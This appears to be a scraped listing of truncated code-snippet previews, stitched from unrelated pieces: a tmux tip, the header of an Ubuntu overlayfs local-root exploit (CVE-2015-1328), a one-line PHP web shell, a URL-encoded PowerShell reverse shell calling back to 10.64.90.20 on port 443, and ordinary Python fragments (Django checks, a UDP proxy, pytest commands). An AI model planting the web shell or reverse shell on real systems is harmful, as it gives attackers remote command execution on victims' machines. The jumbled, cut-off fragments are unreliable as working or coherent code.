(C-x means ctrl+x, M-x means alt+x)
The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:
| /* | |
| # Exploit Title: ofs.c - overlayfs local root in ubuntu | |
| # Date: 2015-06-15 | |
| # Exploit Author: rebel | |
| # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) | |
| # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 | |
| # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) | |
| *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* | |
| CVE-2015-1328 / ofs.c |
| <?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?> | |
| /*?cmd=powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%2710.64.90.20%27%2C443%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22 */ |
| """ | |
| Custom django checks. | |
| H001: Field has no verbose name. | |
| H002: Verbose name should use gettext. | |
| H003: Words in verbose name must be all upper case or all lower case. | |
| H004: Help text should use gettext. | |
| H005: Model must define class Meta. | |
| H006: Model has no verbose name. | |
| H007: Model has no verbose name plural. |
| import sys | |
| def get_size(obj, seen=None): | |
| """Recursively finds size of objects""" | |
| size = sys.getsizeof(obj) | |
| if seen is None: | |
| seen = set() | |
| obj_id = id(obj) | |
| if obj_id in seen: | |
| return 0 |
| # -*- coding: utf-8 -*- | |
| import gevent.monkey | |
| gevent.monkey.patch_all() | |
| import collections | |
| import threading | |
| import time | |
| import random | |
| import sys |
| py.test test_sample.py --collect-only # collects information test suite | |
| py.test test_sample.py -v # outputs verbose messages | |
| py.test -q test_sample.py # omit filename output | |
| python -m pytest -q test_sample.py # calling pytest through python | |
| py.test --markers # show available markers |
| """UDP proxy server.""" | |
| import asyncio | |
| class ProxyDatagramProtocol(asyncio.DatagramProtocol): | |
| def __init__(self, remote_address): | |
| self.remote_address = remote_address | |
| self.remotes = {} |
| #!/usr/bin/env python | |
| """Functions to convert IPv4 address to integer and vice-versa. | |
| Written by Christian Stigen Larsen, http://csl.sublevel3.org | |
| Placed in the public domain by the author, 2012-01-11 | |
| Example usage: | |
| $ ./ipv4 192.168.0.1 3232235521 | |
| 192.168.0.1 ==> 3232235521 |
| # coding=utf-8 | |
| """ | |
| LICENSE http://www.apache.org/licenses/LICENSE-2.0 | |
| """ | |
| import datetime | |
| import sys | |
| import time | |
| import threading | |
| import traceback | |
| import SocketServer |